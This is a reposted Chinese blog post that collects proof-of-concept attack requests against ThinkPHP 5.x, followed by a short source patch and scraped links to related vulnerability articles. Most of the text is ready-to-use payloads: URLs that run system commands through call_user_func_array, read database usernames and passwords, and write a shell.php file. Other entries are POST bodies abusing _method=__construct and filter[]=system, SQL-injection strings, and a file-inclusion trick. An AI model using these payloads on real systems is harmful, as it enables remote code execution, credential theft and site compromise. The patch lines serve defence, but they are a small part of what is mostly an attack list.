文章来源:lsh4ck's Blog

原文链接:

https://www.77169.com/html/237165.html

Thinkphp 5.0.22

 

  1. http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.username

  2. http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.password

  3. http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

  4. http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

Thinkphp 5

 

  1. http://127.0.0.1/tp5/public/?s=index/\think\View/display&content=%22%3C?%3E%3C?php%20phpinfo();?%3E&data=1

Thinkphp 5.0.21

 

  1. http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

  2. http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

 

Thinkphp 5.1.*

 

  1. http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=phpinfo&data=1

  2. http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=system&data=cmd

  3. http://url/to/thinkphp5.1.29/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E

  4. http://url/to/thinkphp5.1.29/?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E

  5. http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

  6. http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd

  7. http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

  8. http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd

未知版本

  1. ?s=index/\think\module/action/param1/${@phpinfo()}

  2. ?s=index/\think\Module/Action/Param/${@phpinfo()}

  3. ?s=index/\think/module/aciton/param1/${@print(THINK_VERSION)}

  4. index.php?s=/home/article/view_recent/name/1'

  5. header = "X-Forwarded-For:1') and extractvalue(1, concat(0x5c,(select md5(233))))#"

  6. index.php?s=/home/shopcart/getPricetotal/tag/1%27

  7. index.php?s=/home/shopcart/getpriceNum/id/1%27

  8. index.php?s=/home/user/cut/id/1%27

  9. index.php?s=/home/service/index/id/1%27

  10. index.php?s=/home/pay/chongzhi/orderid/1%27

  11. index.php?s=/home/pay/index/orderid/1%27

  12. index.php?s=/home/order/complete/id/1%27

  13. index.php?s=/home/order/complete/id/1%27

  14. index.php?s=/home/order/detail/id/1%27

  15. index.php?s=/home/order/cancel/id/1%27

  16. index.php?s=/home/pay/index/orderid/1%27)%20UNION%20ALL%20SELECT%20md5(233)--+

  17. POST /index.php?s=/home/user/checkcode/ HTTP/1.1
    Content-Disposition: form-data; name="couponid"1') union select sleep('''+str(sleep_time)+''')#

Thinkphp 5.0.23(完整版)Debug 模式

(post)public/index.php

(data)_method=__construct&filter[]=system&server[REQUEST_METHOD]=touch%20/tmp/xxx

Thinkphp 5.0.23(完整版)

(post)public/index.php?s=captcha

(data) _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls -al

Thinkphp 5.0.10(完整版)

 (post url)public/index.php?s=index/index/index

(data)s=whoami&_method=__construct&method&filter[]=system

Thinkphp 5.1.* 和 5.2.* 和 5.0.*

(post url)public/index.php

(data)c=exec&f=calc.exe&_method=filter

 

当 Php7 以上无法使用 Assert 的时候用

_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=包含&x=phpinfo();

有上传图片或者日志用这个包含就可以

最后提一句 TP6 有可能有任意文件上传漏洞。

修复Thinkphp框架5.0和5.1版本的远程代码执行安全漏洞

5.0版本

thinkphp/library/think/App.php  类的module方法的获取控制器的代码后面加上

if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
    throw new HttpException(404, 'controller not exists:' . $controller);

}

5.1版本

thinkphp/library/think/route/dispatch/Url.php  类的parseUrl方法,解析控制器后加上   添加

if ($controller && !preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
     throw new HttpException(404, 'controller not exists:' . $controller);
 }

 

Thinkphp V5.X 远程代码执行漏洞 - POC(搬运)的更多相关文章

  1. Microsoft Edge 浏览器远程代码执行漏洞POC及细节(CVE-2017-8641)

    2017年8月8日,CVE官网公布了CVE-2017-8641,在其网上的描述为: 意思是说,黑客可以通过在网页中嵌入恶意构造的javascript代码,使得微软的浏览器(如Edege),在打开这个网 ...

  2. CVE-2021-21978 VMware View Planner 远程代码执行漏洞通告 | 附 POC

    漏洞简介 VMware 是一家云基础架构和移动商务解决方案厂商,View Planner 是他旗下推出的一款针对view桌面的测试工具.2021年03月02日,VMware 官方披露了 CVE-202 ...

  3. thinkphp5.0.22远程代码执行漏洞分析及复现

    虽然网上已经有几篇公开的漏洞分析文章,但都是针对5.1版本的,而且看起来都比较抽象:我没有深入分析5.1版本,但看了下网上分析5.1版本漏洞的文章,发现虽然POC都是一样的,但它们的漏洞触发原因是不同 ...

  4. [转帖]Windows DHCPServer远程代码执行漏洞分析(CVE-2019-0626)

    Windows DHCPServer远程代码执行漏洞分析(CVE-2019-0626) ADLab2019-03-15共23605人围观 ,发现 4 个不明物体安全报告漏洞 https://www.f ...

  5. ThinkPHP 5.x远程命令执行漏洞分析与复现

    0x00 前言 ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞.该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的 ...

  6. 漏洞预警 | ThinkPHP 5.x远程命令执行漏洞

    ThinkPHP采用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库).RoR的ORM映射和ActiveRecord模式,是一款兼容性高.部署简单的轻量级国产PHP开发框 ...

  7. ThinkPHP 5.0远程命令执行漏洞分析与复现

    0x00 前言 ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞.该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的 ...

  8. CVE-2020-5902 F5 BIG-IP 远程代码执行漏洞

    CVE-2020-5902 F5 BIG-IP 远程代码执行漏洞复现 漏洞介绍 F5 BIG-IP 是美国 F5 公司的一款集成了网络流量管理.应用程序安全管理.负载均衡等功能的应用交付平台. 近日, ...

  9. Spring框架的反序列化远程代码执行漏洞分析(转)

    欢迎和大家交流技术相关问题: 邮箱: jiangxinnju@163.com 博客园地址: http://www.cnblogs.com/jiangxinnju GitHub地址: https://g ...

随机推荐

  1. dpdk网卡收包分析

    一个网络报文从网卡接收到被应用处理,中间主要需要经历两个阶段: 阶段一:网卡通过其DMA硬件将收到的报文写入到收包队列中(入队)阶段二:应用从收包队列中读取报文(出队)由于目前正在使用vpp/dpdk ...

  2. tcpack----- 2sack dack

    道当我们接收到ack的时候,我们会判断sack段,如果包含sack段的话,我们就要进行处理.这篇blog就主要来介绍内核如何处理sack段 sack dsack概念 TCP在一个RTO超时后会重传数据 ...

  3. tcp 输入 简析 转载

    正常来说 TCP 收消息过程会涉及三个队列: Backlog Queue sk->sk_backlog Prequeue tp->ucopy.prequeue Receive Queue  ...

  4. linux nf_conntrack 连接跟踪机制

    PRE_ROUTING和LOCAL_OUT点可以看作是整个netfilter的入口,而POST_ROUTING和LOCAL_IN可以看作是其出口; 报文到本地:PRE_ROUTING----LOCAL ...

  5. git操作之二:git restore

    在上篇博客中留了一个问题,那就是git restore命令是做什么的,下面重点分析. 一.概述 git restore命令是撤销的意思,也就是把文件从缓存区撤销,回到未被追踪的状态. 该命令有git ...

  6. docker生产——容器通信

    简介 在接触docker的第一天起,大家应该就知道:docker容器使用沙箱机制,相互之间没有接口,一般情况下内部访问通过IP+端口.本地容器默认分配的IP极易发生变化,所以靠IP+端口访问的方式缺失 ...

  7. 精尽 MyBatis 源码分析 - 基础支持层

    该系列文档是本人在学习 Mybatis 的源码过程中总结下来的,可能对读者不太友好,请结合我的源码注释(Mybatis源码分析 GitHub 地址.Mybatis-Spring 源码分析 GitHub ...

  8. python-网络安全编程第二天(文件操作)

    前言 才吃完火锅嘿嘿,吃完把今天所学的内容写个博客当做笔记用哈哈! 文件操作 f=open("test.txt",w)直接打开一个文件,如果文件不存在则创建文件open模式w:以写 ...

  9. 建议收藏!2020阿里面试题(JVM+Spring Cloud+微服务)上

    前言 对于大厂面试,我想要强调的一点就是心态真的很重要,是决定你在面试过程中发挥的关键,若不能正常发挥,很可能就因为一个小失误与offer失之交臂,所以一定要重视起来.另外提醒一点,充分复习,是消除你 ...

  10. 如何用EasyRecovery恢复受损的SD卡?

    SD卡的主要功能是拓展便携式设备.包括:数据相机.手机及其他的多媒体播放器等的存储空间,缓解设备本身的存储压力.即便是在产品内存已经逐渐增加的情况下,还是拥有一大批的忠实用户. 很多用户反应,SD卡使 ...